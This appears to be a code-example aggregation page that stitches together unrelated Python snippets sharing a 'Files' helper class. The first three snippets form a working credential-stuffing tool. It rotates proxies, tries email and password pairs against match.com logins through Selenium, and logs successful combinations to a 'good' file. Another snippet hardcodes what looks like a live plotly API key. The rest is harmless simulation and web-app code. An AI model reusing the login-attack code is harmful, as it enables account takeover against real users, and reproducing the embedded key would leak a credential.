Exemple #1
0
    def match(browser, email, next, proxy, res):

        passwords = Files.get_file("config/pass.txt", check=1)
        emails = Files.get_file("config/emails.txt", check=1)

        login = emails[email]
        password = passwords[next]

        usernameInput = browser.find_element_by_id("email")
        passInput = browser.find_element_by_id("password")
        usernameInput.send_keys(login).click()
        passInput.send_keys(password).click()
        button = browser.find_element_by_xpath(
            "//button[@role = 'button']").submit()
        time.sleep(3)
        if browser.find_element_by_tag_name("iframe"):
            Logs.error("Captcha needed")
            browser.quit()
            Parser.before_auth(email, next, proxy=proxy + 1, res=0)
        else:
            current_url = browser.current_url
            if current_url == 'https://www.match.com/login':
                bad = "config/bad.txt"
                with open(bad, 'a') as file:
                    file.write(login + ":" + password)
                    Parser.before_auth(email, next=next + 1, res=0)
            else:
                good = "config/good.txt"
                with open(good, 'a') as file:
                    file.write(login + ":" + password)
                    Parser.before_auth(email, next=next + 1, res=1)
        Logs.create_log(browser, login, password)
Exemple #2
0
 def proxy_settings(email, next, proxy, res):
     proxys = Files.get_file("config/proxy.txt", check=1)
     if len(proxys) >= proxy + 1:
         chrome_options = webdriver.ChromeOptions()
         chrome_options.add_argument('--proxy-server=%s' % proxys[proxy])
         browser = webdriver.Chrome('bin/chromedriver.exe',
                                    chrome_options=chrome_options)
         Parser.auth(browser, email, next, proxy, res)
     else:
         Logs.info("Proxy list is empty")
Exemple #3
0
 def before_auth(email, next, proxy, res):
     emails = Files.get_file("config/emails.txt", check=1)
     if res == 1:
         if len(emails) <= email + 1:
             email = email + 1
         else:
             Logs.info("Emails list is empty")
     else:
         if len(emails) <= email + 1:
             Logs.info('Check auth from ' + emails[email])
             Parser.proxy_settings(email, next, proxy, res)
         else:
             Logs.Info("Emails list is empty")
Exemple #4
0
import plotly.plotly as py
import plotly.graph_objs as go

py.sign_in('cheremushkin', 'fsdjBUr906AXZS6CsKmT')


# edit Events parameter for this calibration
def dissociation(self, x, y, hydrolysed):
    return -np.log(np.random.random()) / float(
        self.config['general']['koff']), 'dissociation', x, y


Events.dissociation = dissociation

if __name__ == "__main__":
    files = Files('gmpcpp')
    config = files.get_config()

    # get config data
    lateral_start = float(config['calibration']['lat-start'])
    lateral_end = float(config['calibration']['lat-end'])
    lateral_steps = int(config['calibration']['lat-steps'])
    koff_start = float(config['calibration']['koff-start'])
    koff_end = float(config['calibration']['koff-end'])
    koff_steps = int(config['calibration']['koff-steps'])

    # remove config data
    config.remove_section('calibration')
    files.change_config(config)
    files.create_config()
from core.microtubule import Microtubule

from core.files import Files
from core.events import Events


def build(files):
    config = files.get_config()

    # создание микротрубочки
    mt = Microtubule(columns=int(config['mt']['protofilaments']),
                     timer=float(config['time']['timer']),
                     fps=float(config['time']['fps']),
                     events=Events(config),
                     mode='window',
                     window=5)

    mt.build()


if __name__ == "__main__":
    files = Files('flat')
    files.get_config()

    # build and generate output
    build(files)
    #files.make_csv(build(files))

#print("Выполнено за {} секунд".format((stop - start)))
Exemple #6
0
class WebConsts:
    name = "Peter's NAS Manager"


# First time login activated by choosing login template, which triggers correct API endpoints
# to finish setup
global login_page
login_page = "login.html"
if users.no_users:
    login_page = "first_login.html"
    import platform
    WebConsts.hostname = platform.uname()[1]

# We cannot initalize files with path because path may not be available right now
config = Config()
files = Files(config)


@app.route("/")
def root():
    if "username" in session:
        return render_template("index.html",
                               v=WebConsts,
                               user=session["username"])
    else:
        return render_template(login_page, v=WebConsts)
        # return redirect(url_for("login"))


@app.route('/logout')
def logout():